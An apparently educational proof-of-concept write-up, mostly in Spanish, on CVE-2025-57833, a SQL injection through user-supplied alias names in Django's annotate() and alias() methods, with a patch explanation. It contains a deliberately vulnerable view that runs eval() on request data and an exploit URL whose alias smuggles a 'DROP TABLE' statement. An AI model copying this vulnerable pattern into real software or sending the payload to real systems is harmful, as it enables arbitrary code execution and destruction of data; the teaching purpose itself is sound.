
Prueba de concepto educativa que demuestra la inyección SQL a través de alias dinámicos en los métodos annotate() y alias() de Django (CVE-2025-57833). Incluye código vulnerable, ejemplo de explotación y análisis de la corrección.
Un alias es un nombre dado a una columna o a un resultado de agregación en una consulta SQL.
En Django, los alias se utilizan con los métodos annotate() o alias() para nombrar campos calculados.
Ejemplo:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
Aquí, book_count es un alias para el resultado de Count('id').
Esto permite obtener un nombre legible para una columna calculada.
Para ir rápido, se pueden insertar los datos mediante el shell:
python manage.py shell
Comandos a ejecutar:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Antes de Django 4.2.23, era posible inyectar SQL mediante alias dinámicos proporcionados por el usuario.
Esta vulnerabilidad es conocida como CVE-2025-57833.
Afectaba a las funciones annotate() y alias() cuando se utilizaba un diccionario con expansión (**kwargs) con claves no filtradas provenientes del usuario.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# On récupère l'alias depuis l'URL
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ Vulnérable : évaluation directe des données utilisateurs
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # dangereux ! permet l'exécution de code arbitraire
# Création de la queryset avec annotation dynamique
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# Retour des résultats
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
Obtiene el valor del parámetro alias pasado por el usuario.
alias_dict = json.loads(alias_param)
Transforma la cadena JSON en un diccionario Python.
alias_dict[key] = eval(value)
⚠️ Muy peligroso: eval() ejecuta la cadena como código Python.
El usuario podría inyectar SQL destructivo.
Author.objects.annotate(**alias_dict)
Aplica dinámicamente las anotaciones con los alias proporcionados.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
Explicación:
Author y Book están relacionados por una relación ForeignKey.Author para calcular información sobre sus libros.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django prohíbe ahora ciertos caracteres en los alias:
--)Si la URL contiene estos caracteres, Django lanza un error:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() en valores provenientes del usuario.eval() en datos de usuarios.Autor: Loïc
Fecha: 06/09/2025